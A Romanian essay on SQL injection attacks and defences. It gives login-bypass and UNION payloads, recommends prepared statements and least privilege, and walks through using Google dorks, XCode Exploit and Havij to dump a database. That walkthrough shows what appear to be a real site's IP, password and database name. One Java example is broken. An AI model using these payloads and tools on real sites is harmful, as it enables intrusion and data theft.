Soluțiile de securitate pot fi folosite ele însele împotriva sistemelor de securitate precum Firewall-urile, aplicațiile injectabile, aplicații bazate pe permisiuni sau pe roluri ale utilizatorilor (permission-based/user roles applications).

Soluțiile existente sunt, de asemenea și foarte complexe. Necesită o tehnologie complexă pentru operare, dar și la instalare/implementare.

Clasificarea atacurilor SQL Injection

Cercetătorii au împărțit atacurile de tip SQL Injection în trei mari categorii:

Atacuri de ordinul I (first order attacks) – în care atacatorul introduce string-uri dăunătoare cauzând executarea imediată a codului pentru obținerea infomațiilor necesare (exemplu: atacurile UNION);

În acest tip de atac, atacatorul poate adăuga o subinterogare sau o declarație union la interogarea SQL existentă pentru a cumpăra informații ilegal. Apoi, modifică o interogare existentă în așa manieră încât, atunci când este executată, execută numai partea preconizată a interogării; care este, în acest caz, o subinterogare sau declarație uniune adăugată.

Atacuri de ordinul II (second order attacks) – în care atacatorul injectează, în zone de stocare persistente (precum liniile unui tabel), cod ce este tratat ca provenind de la o sursă de încredere (exemplu de atac: Blind SQL Injection);

În acest tip de atac, atacatorul încearcă să obțină controlul sistemelor de stocare persistente precum rândurile și să efectueze activitate malițioasă asupra lor. Atacatorul poate să creeze obiecte ale bază de date, cum ar fi tabele, vizualizări restrânse și chiar conturi de login, care pot fi utilizate mai departe pentru a efectua atacuri periculoase asupra schemelor bazei de date, detaliilor conturilor de login, sau asupra informațiilor sensibile ale clienților etc.

Un exemplu pentru această categorie de atacuri, se regăsește în paginile ce urmează.

Injecție laterală (lateral injection) – atacatorul poate manipula funcțiile implicite prin schimbarea valorilor variabilelor de mediu.

Manipularea funcției "to_char()" prin schimbarea valorilor variabilelor de mediu NLS_Date_Format sau NLS_Numeric_Characters poate fi ținta atacatorului. În cazul în care litera "d" este concatenată cu un șir, funcția incorporată to_char este apelată implicit de către SQL. Această funcție transformă litera "d" în formatul specificat de NLS_Date_Format de fiecare dată când întâlnește litere "d" concatenate în șir.

Ceea ce face atacatorul este doar să schimbe valorile variabilei de mediu NLS_Date_Format pentru a îl ajuta la realizarea unui atac lateral, în timp ce valorile dăunătoare sunt injectate în NLS_Date_Format și executate în locul variabilei originale "d".

SQL> SET SERVEROUTPUT ON
SQL> ALTER session SET NLS_Date_Format = '"The time is"… hh24:mi'
2 /
Session altered.
SQL> SELECT TO_CHAR(SYSDATE) d FROM Dual
2 /
D
–––––––
The time is… 19:49
SQL> DECLARE
2 d DATE := TO_DATE('The time is… 23:15');
3 BEGIN
4 – Implicit To_Char()
5 DBMS_OUTPUT.PUT_LINE(d);
6 END;
7 /
The time is… 23:15
PL/SQL procedure successfully completed.

Blind SQL Injection

Aplicațiile web folosesc de obicei interogări SQL cu intrări furnizate de către client, în clauza WHERE, pentru a prelua date dintr-o o bază de date. Prin adăugarea de condiții suplimentare la declarația SQL și evaluarea rezultatului returnat de aplicația web, se poate stabili dacă aplicația este sau nu vulnerabilă la SQL Injection. De exemplu, multe companii permit accesul prin internet la arhivele de comunicate de presă. Un URL pentru accesarea celui de-al cincilea comunicat de presă al companiei ar putea arăta astfel:

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5

Instrucțiunea SQL pe care aplicația web ar folosi-o pentru a prelua comunicatul de presă ar putea arata ca aceasta:

SELECT titlu, descriere, data_lansare, continut_material

FROM comunicate_de_presa

WHERE ID_comunicat = 5;

Serverul de baze de date răspunde prin returnarea datelor asociate celui de-al cincilea comunicat de presă. Aplicația web va formata apoi datele comunicatului de presă într-o pagină HTML și trimite răspunsul la client.

Pentru a determina dacă aplicația este vulnerabilă la SQL Injection, se încercă injectarea unei condiții suplimentare adevărate în clauza WHERE. De exemplu, dacă se solicită acest URL. . .

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND 1 = 1

. . . și dacă serverul de baze de date execută următoarea interogare. . .

SELECT titlu, descriere, data_lansare, continut_material

FROM comunicate_de_presa

WHERE ID_comunicat = 5 AND 1 = 1;

. . . iar dacă această interogare returnează, de asemenea, același comunicat de presă, atunci aplicația este susceptibilă la atacurile de tip injecție SQL. Să presupunem că avem o aplicație web, care stochează numele utilizatorilor, alături de alte informații din fiecare sesiune. Trebuie dat un identificator de sesiune, precum un cookie, cu ajutorul căruia să se preia numele utilizatorilor curent și apoi să fie folosit de către atacator la rândul său, pentru a prelua unele informații ale utilizatorului.

Fie codul următor pentru aflarea datelor personale ale oamenilor:

execute immediate 'SELECT utilizator FROM sesiune WHERE sesiune = '''|| id_sesiune || '''' INTO utilizator;

execute immediate 'SELECT CNP FROM persoane WHERE username = ''' || persoana || '''' INTO CNP;

Codul numărul (2) va fi injectabil dacă atacatorul a accesat anterior un utilizator de genul persoana sau Ionescu, ceea ce duce la crearea următoarei interogări:

SELECT CNP

FROM persoane

WHERE utilizator = 'persoana’ OR utilizator = 'Ionescu'

Daca utilizatorul persoana nu există, atunci atacul a fost cu succes, iar atacatorul a obținut CNP-ul domnului Ionescu.

Atacatorul poate crea obiecte de baze de date dăunătoare, precum o funcție apelabilă ca parte a unui API, sau un tabel cu nume malițios folosind ghilimele duble pentru a introduce construcții periculoase. De exemplu, un atacator poate realiza un tabel cu ajutorul unui nume de tabel cum ar fi "tab" sau "1 = 1– ", care pot fi exploatate ulterior printr-un atac cu injecție SQL de ordin II.

Error-based SQL Injection

Arhitectura aplicațiilor web moderne include: un server pentru baza de date, un server web, un client și canalele de comunicare dintre acestea. În această arhitectură există o conexiune duală între servere și una bidirecțională între client și serverul web, prin care se efectuează schimbul de date.

Serverul de baze de date este partea esențială a aplicațiilor web moderne. Acesta stochează și procesează datele. Serverele de baze de date pot avea mai multe baze de date, care, la rândul lor, pot avea mai multe tabele.

În momentul în care utilizatorul introduce username-ul și parola personală, aplicația web literalmente nu face decât să întrebe serverul de baze de date dacă există vreun utilizator cu username-ul „utilizator” și parola „xxxxxxxx” înregistrat în sistem.

Codul SQL echivalent următorul:

SELECT id

FROM utilizatori

WHERE utilizator = ’utilizator’ AND parola = ’xxxxxxxx’;

Ghilimelele simple sunt o parte a limbajului SQL și nu o parte a datelor introduse de utilizator Acest caracter, împreună cu alte caractere ar trebui să fie tratate întru-un mod special, înainte de a fi pasate bazelor de date. Altfel, sintaxa SQL este „stricată” și va afișa o eroare. Acest lucru joacă un rol esențial în atacurile de tip injectare SQL bazate pe mesaje de eroare.

Dacă atacatorul reusește să „smulgă” caracterele speciale (care nu sunt dezinfectate de baza de date), este posibil să modifice codurile SQL, logica lor și chiar să preia controlul aplicației, să o pună să facă ce dorește acesta.

Majoritatea utilizatorilor ar afirma că aceste erori simple nu constituie un pericol. În realitate, aceste erori sunt un foarte mare pericol de securitate.

Să presupunem că avem următoarea situație: cineva dorește să spargă site-ul www.sitevulnerabil.ro, un site similar cu cel al rețelelor de socializare, doar pentru cărți și articole.

Atunci când un străin încearcă să introducă date false, nu va putea să se autentifice întrucât nu se află în baza de date a site-ului. Astfel, se va afișa un mesaj de eroare de genul „Datele introduse sunt incorecte!” sau „Username-ul și/sau parola nu sunt valide!”. În acest caz, se pare că, nu există altă cale de acces.

În acest moment, dacă se introduce caracterul special apostrof după numele utilizatorului („ utilizator’ ”), serverul va afișa în browser-ul atacatorului o eroare SQL, în care va apărea bucata de cod care a cauzat eroarea, ce este complet descoperită. După ce se asigură că are de a face cu o injecție de tip SQL, atacatorul trece rapid, la o metodă de a ocoli procesul de autentificare.

Tot ce trebuie să facă pentru a se autentifica este să scrie, în câmpul alocat introducerii numelui de utilizator, numele utilizatorului urmat de apostrof și secvența de cod: OR 1=1.

Acest lucru este posibil deoarece codul original:

SELECT id

FROM utilizatori

WHERE utilizator = ’utilizator’ AND parola = ’xxxxxxxx’

devine:

SELECT id

FROM utilizatori

WHERE utilizatori = ’utilizator’ OR 1=1 – AND parola = ’xxxxxxxx’

Acest nou cod este mereu adevărat datorită ecuației 1=1, ultima parte a codului fiind ignorată întrucât „–” marchează începutul unui comentariu.

Atacuri bazate pe tautologii

Atacul pe bază de tautologie este folosit pentru a injecta cod în una sau mai multe declarații condiționale, astfel încât acestea să se evalueze întotdeauna ca fiind true. Cele mai frecvente utilizări ale acestei tehnici sunt de a trece de procesul de autentificare, pentru a extrage date. Atacul este cu succes atunci când codul afișează toate înregistrările returnate sau efectuează o acțiune în cazul în care cel puțin o înregistrare este returnată.

De exemplu:

Un atacator prezintă " ’ OR 1=1 – ". Interogarea pentru modul de login va deveni:

SELECT *

FROM informatii_utilizator

WHERE ID_Login = ’’ OR 1 = 1 – AND parola = ’’

Codul injectat condițional (OR 1 = 1 –) transformă întreaga clauză WHERE într-o tautologie, pe care interogarea o evaluează true pentru fiecare rând din tabel, returnându-le pe toate. În acest exemplu, setul returnat se evaluează la o valoare nenulă, care determină ca aplicația să concluzioneze că autentificarea utilizatorului a fost reușită. De aceea, aplicația va invoca metoda user_main.aspx pentru a accesa aplicația.

Atacuri bazate pe interogări de tip uniune

În aceste tipuri de atacuri, atacatorii injectează o declarație de forma: UNION SELECT <restul codului infestat> pe care o controlează în totalitate și pe care o pot folosi pentru a fura informațiile senzitive dintr-un tabel specificat. Rezultatul acestui tip de atac este că baza de date returnează un set de date, ce reprezintă uniunea dintre rezultatele primei interogării (interogarea originală) cu rezultatele celei de-a doua interogări (interogarea injectată).

Exemplu:

Un atacator ar putea injecta textul "UNION SELECT parola FROM informatii_utilizator WHERE ID_Login = "secret" –" în câmpul de login, ce va produce următoarea interogare:

SELECT parola

FROM informatii_utilizator

WHERE ID_Login = "" AND parola = ""

UNION

SELECT parola

FROM informatii_utilizator

WHERE ID_Login = "secret" – AND parola = ""

Presupunând că nu există nici o autentificare egală cu "", prima interogare returnează setul nul, în timp ce a doua cerere returnează datele din tabela "informatii_utilizator". În acest caz, baza de date va returna coloana "parola" pentru contul "secret". Baza de date preia rezultatele acestor două interogării, le unește și le returnează aplicației.

În multe aplicații, efectul acestei operații este valoarea pentru "parola", ce este afișată împreună cu informațiile contului.

Metode de prevenire a atacurilor SQL Injection

Firme și organizații renumite, precum Microsoft, Yahoo, Sony Pictures, PBS, LinkedIn și chiar CIA au în comun faptul că website-urile lor au fost sparte folosindu-se de ceea ce a devenit astăzi cea mai importantă armă a hackerilor și anume, SQL Injection. Acest tip de atac a ocupat primul loc în topul 25 privind cele mai periculoase vulnerabilități, conform site-ului Common Weakness Enumeration din 2013.

În tehnologia modernă, majoritatea bazelor de date și serverelor de baze de date sunt folosite în partea de back-end a majorității aplicațiilor web, precum și a sistemelor de management al conținutului (content management systems).

Nu este o sarcină ușoară de a construi fragmente de cod care pot fi injectate într-o interogare pentru a compromite cu succes o bază de date. Acest tip de hacking necesită o înțelegere solidă a structurii de interogări SQL, precum și cunoștințe bine aprofundate despre baze de date ce conțin datele din partea de back-end a website-urilor (website back-end databases).

Circulă în acest moment în mediul virtual o listă cu trucuri ce pot fi utilizate de hackeri, care conține așa-numitele „Google dorks” (proștii Google-ului), chiar și pentru atacurile SQL Injection și care conțin interogări ce pot fi utilizate pentru a descoperi site-uri web vulnerabile, deoarece folosesc baze de date back-end cunoscute. O astfel de listă, care conține atacuri de tipul SQL Injection se poate găsi, accesând link-ul următor:

http://coolhacking-tricks.blogspot.com/2012/02/list-of-google-dorks-for-sql-injection.html.

Printre metodele cele mai cunoscute de prevenire a acestui tip de atacuri se numără:

utilizarea interfeței de tip prepared statements;

utilizarea procedurilor stocate;

actualizarea regulată a serverului de SQL;

folosirea de privilegii minime;

dezactivarea shell-urilor;

testarea codului.

Prepared statements

Interfața PreparedStatement a unui Java API este superioară interfeței Statement deoarece aceasta oferă metode care au grijă de codificare prin compunerea corectă a interogării (cu semne de întrebare în loc de input) și apoi folosirea metodei "setString(…)" sau a altei metode. Cu toate acestea, chiar dacă poate fi utilizată ca metodă de prevenire, dacă se compune PreparedStatement prin concatenarea de șiruri de caractere, ce pot conține date introduse de utilizator, se va ocoli procesul de criptare, iar software-ul va fi lăsat vulnerabil la eventuale atacuri.

Următorul este un exemplu de introducere a doi parametri "ID_Login" și "parola", în condiții de siguranță, la o interogare:

PreparedStatement prep_state = con.prepareStatement("SELECT * FROM utilizatori WHERE ID_Login = ? AND parola = ?");

prep_state.setString(1, "" + ID_Login);

prep_state.setString(2, "" + parola);

ResultSet = prep_state.executeQuery();

Stored procedures (Proceduri stocate)

SQL Injection este cauzată în principal de utilizarea de interogări SQL dinamice. Totuși, nu există nimic care să interzică folosirea, în procedurile stocate, a declarațiilor SQL dinamice. Deși doar parametrii introduși manual vor fi acceptați de către un apel către o procedură stocată, nu există ceva care să indice, cum vor fi folosiți aceștia odată ajunși in interiorul procedurii. Prin urmare, este important să ne asigurăm că procedurile stocate nu anulează, ele însele, beneficiile sporite ce apar în urma utilizării acestora. În Java, interfața CallableStatement din java.sql este angajată pentru a apela proceduri stocate. Următorul exemplu corespunde celui prezentat mai sus, de data aceasta folosind interfața java.sql.CallableStatement:

CallableStatement call_state = con.prepareCall ("{CALL check_user} ") (,,??);

call_state.setString (1, "" + loginID);

call_state.setString (2, "" + parola);

call_state.registerOutParameter (3, java.sql.Types.TINYINT);

call_state.executeQuery ();

În .NET, System.Data.SqlClient namespace oferă mijloace pentru utilizarea parametrizată de interogări și proceduri stocate.

Actualizarea regulată a serverului de SQL

Injecțiile SQL sunt erori de programare frecvente, dar acestea nu sunt singura cale pentru un hacker să pătrundă în sistem. Dacă software-ul de bază – de exemplu baza de date și sistemul de operare au vulnerabilități, atunci eforturile pentru a asigura siguranța codului au căzut în desuetudine. Acesta este motivul pentru care trebuie periodic patch-uit sistemul, mai ales serverul SQL.

Folosirea de privilegii minime

Principiul acordării unui număr limitat de privilegii reprezintă o piatră de temelie a securității și se aplică, de asemenea, injectărilor SQL. De exemplu, atunci când se acordă unui utilizator acces numai la tabele, acesta poate avea nevoie de întreaga bază de date. Acest lucru reduce drastic șansele de apariție a unui potențialul prejudiciu.

Dezactivarea shell-urilor

Multe baze de date oferă acces la shell care, în esență, este exact ceea ce are nevoie un atacator. Acesta este motivul pentru care este nevoie să se elimine această breșă.

Testarea codului

În cele din urmă, ultimul pas pentru a asigura siguranța codului împotriva atacurilor SQL Injection este testarea lui. Există instrumente automate care pot fi folosite în acest sens. Una dintre cele mai universale tool-uri este extensia SQL Inject Me pentru Firefox. Acest add-on are mai multe opțiuni și multe teste disponibile.

Testarea vulnerabilităților

Testarea vulnerabilităților cu ajutorul unui program (NetSparker 3.5.16.0)

În mediul virtual există o multitudine de programe prin intermediul cărora se pot testa slăbiciunile aplicațiilor web împotriva diverselor tipuri de atacuri.

Mi-am propus sa testez vulnerabilitățile site-ului www.port.ro, Pentru aceasta, am folosit programul NetSparker versiunea 3.5.16.0, cu ajutorul căruia am aflat că acest site are multiple puncte slabe, după cum reiese din imaginile de mai jos.

Testarea vulnerabilităților prin simularea unui atac informațional

Să presupunem că atacatorul nostru folosește programul XCode Exploit pentru a începe un atac de tip SQL Injection sau XSS Injection. Acest program satisface doar prima parte a atacului, urmând ca, în faza a doua, să fie folosit programul Havij pentru obținerea datelor.

Pentru inițializarea atacului, atacatorul trebuie să introducă tipul de Dork folosit, extensia domeniului Google folosit, limba de afișare a site-ului, numărul de afișări per pagina și numărul paginilor.

Pentru demonstrarea aspectelor menționate mai sus, am folosit următoarea configurație:

Dork: index.php?id=12

Google: ro

Language: ro

Results: 100

Pages:10

După apăsarea butonului „Dork it” aplicația va căuta toate site-urile ce îndeplinesc cerințele de mai sus.

Atacatorul are acces, în acest moment la toate site-urile vulnerabile. Trebuie acum, să scaneze aceste site-uri pentru a vedea care dintre ele sunt vulnerabile la SQL Injection, prin butonul „Scan SQLi”.

Acesta a fost sfârșitul primei părți a atacului. Urmează extragerea datelor de pe unul din site-uri și în acest caz se poate folosi programul Havij. Primul pas este deschiderea programului și copierea site-ului țintă in câmpul Target și analiza site-ului pentru aflarea detaliilor legate de baza de date utilizată (host IP, web server, extensii, parola, username, modul de inscripționare al bazei de date, serverul de baze de date folosit, numărul de coloane și baza de date curentă).

Programul a returnat aceste informații:

Interpretarea lor este următoarea:

IP-ul host-ului este 197.237.219.41;

Web server-ul folosit este Apache/2.2.3 (CentOS);

Funcționează cu PHP/5.1.6;

Parola este STEAUA;

Modul de inscripționare este Integer;

Serverul de baze de date este MySQL ce are cel puțin 5 coloane;

Numărul coloanelor este 5;

Baza de date curentă este footballderbies.

Atacatorul cunoaște acum baza de date și își orientează atenția asupra tabelelor bazei de date, schimbând de pe tabul About pe tabul Tables. Dând click pe butonul Get Tables, programul începe să preia informațiile din baza de date. După încărcarea tabelelor sau chiar în timpul căutării (prin apăsarea butonului stop), atacatorul poate selecta tabelele dorite, urmând ca în fereastra din dreapta listei să apară conținutul tabelului/tabelelor selectat(e).

Atacul a fost un succes. Atacatorul are acum informațiile senzitive din baza de date, pe care le poate utiliza în interes personal.

Concluzii

Prevenirea vulnerabilităților aplicațiilor este o problemă de mare actualitate, existând o multitudine de soluții și programe care pot să contribuie la creșterea securității acestora.

Pentru aceasta, trebuie să avem în vedere următoarele principii (Howard & LeBlanc, 2003):

un eventual atacator poate allege la nivelul sistemului cel ami sensibil punct, iar datoria noastră este de a găsi cele mai bune metode pentru a apăra toate părțile componente ale acestuia;

putem să prevenim doar ceea ce cunoaștem, a atacurilor pe care le știm, dar există posibilitatea ca atacatorul să descopere vulnerabilități noi;

atacurile făcute de persoane rău voitoare pot avea loc oricând, datoria noastră fiind de af permanent în alertă;

atacatorul este o persoană care nu respectă reguli, legi sau alte recomandări de bun simț, el acționează fie din interes personal, fie pentru a-și demonstra capacitatea intelectuală.

Elaborarea unor politici de securitate (Garfinkel & Spafford, 2001; Howard & LeBlanc, 2003; Tanenbaum, 2003) ar presupune în aceste condiții următoarele aspecte:

necesitatea planificării cerințelor de securitate și anume confidențialitatea, integritatea și nu în ultimul rând a disponobilității datelor șia controlului asupra accesului la aceste date;

prezentarea riscurilor, a soluțiilor ce pot fi găsite pentru prevenirea acestora, stabilirea datelor cele mai importante, stabilirea unor eventuale pierderi și a modului de recuperare după un atac de scucces ș.a.;

realizarea unei analize cost-beneficii privind prevenirea diferitelor incidente de securitate sau ale recuperării datelor;

stabilirea la nivel național, organizațional a unor politici de securitate informatică, dar și a unor politici pentru diverse domenii care necesită protecție, aplicarea unor standarde la nivel internațional în acest domeniu.

Bibliografie

Justin Clarke (coord), SQL Injection: Attacks and Defence, Syngress Publishing Inc., 2009;

S. Garfinkel, G. Spafford, Web Security,Privacy and Commerce, O’Reilly, 2001;

M. Howard D. LeBlanc, Writing Secure Code (2nd Edition), Microsoft Press, Redmond, 2003;

J. Long, Google hacking for Penetration Testers, Syngress Publishing Inc.,2005;

S. Buraga (coord), Aplicații web la cheie, Polirom, Iași, 2003;

Atacuri XSS (Cross-site Scripting)

http://en.wikipedia.org/wiki/Category:Types_of_databases

https://it.ucsf.edu/services/application-and-website-security/types-attacks-web-applications#SSI

https://www.owasp.org/index.php/Server-Side_Includes_%28SSI%29_Injection

http://en.wikipedia.org/wiki/Cyber-attack

http://ro.wikipedia.org/wiki/Baz%C4%83_de_date

https://www.owasp.org/index.php/HTML_Injection

https://www.owasp.org/index.php/SQL_Injection

http://www.esecurityplanet.com/hackers/how-to-prevent-sql-injection-attacks.html

http://download.oracle.com/oll/tutorials/SQLInjection/html/lesson1/les01_tm_attacks.htm

http://download.oracle.com/oll/tutorials/SQLInjection/html/lesson1/les01_tm_attacks1.htm

http://download.oracle.com/oll/tutorials/SQLInjection/html/lesson1/les01_tm_attacks2.htm

http://cursuri.cs.pub.ro/~radulescu/bd/sql9/cap1.html

http://www.sqlsecurity.com/

http://www.developerdrive.com/2011/10/how-toprevent-a-sql-injection-attack/

XSS Attack Examples (Cross-Site Scripting Attacks)

https://gist.github.com/elacruz88/7752383

https://www.owasp.org/index.php/Testing_for_SSI_Injection_%28OTG-INPVAL-009%29

https://www.cs.columbia.edu/~angelos/Papers/sqlrand.pdf

Bibliografie

Justin Clarke (coord), SQL Injection: Attacks and Defence, Syngress Publishing Inc., 2009;

S. Garfinkel, G. Spafford, Web Security,Privacy and Commerce, O’Reilly, 2001;

M. Howard D. LeBlanc, Writing Secure Code (2nd Edition), Microsoft Press, Redmond, 2003;

J. Long, Google hacking for Penetration Testers, Syngress Publishing Inc.,2005;

S. Buraga (coord), Aplicații web la cheie, Polirom, Iași, 2003;

Atacuri XSS (Cross-site Scripting)

http://en.wikipedia.org/wiki/Category:Types_of_databases

https://it.ucsf.edu/services/application-and-website-security/types-attacks-web-applications#SSI

https://www.owasp.org/index.php/Server-Side_Includes_%28SSI%29_Injection

http://en.wikipedia.org/wiki/Cyber-attack

http://ro.wikipedia.org/wiki/Baz%C4%83_de_date

https://www.owasp.org/index.php/HTML_Injection

https://www.owasp.org/index.php/SQL_Injection

http://www.esecurityplanet.com/hackers/how-to-prevent-sql-injection-attacks.html

http://download.oracle.com/oll/tutorials/SQLInjection/html/lesson1/les01_tm_attacks.htm

http://download.oracle.com/oll/tutorials/SQLInjection/html/lesson1/les01_tm_attacks1.htm

http://download.oracle.com/oll/tutorials/SQLInjection/html/lesson1/les01_tm_attacks2.htm

http://cursuri.cs.pub.ro/~radulescu/bd/sql9/cap1.html

http://www.sqlsecurity.com/

http://www.developerdrive.com/2011/10/how-toprevent-a-sql-injection-attack/

XSS Attack Examples (Cross-Site Scripting Attacks)

https://gist.github.com/elacruz88/7752383

https://www.owasp.org/index.php/Testing_for_SSI_Injection_%28OTG-INPVAL-009%29

https://www.cs.columbia.edu/~angelos/Papers/sqlrand.pdf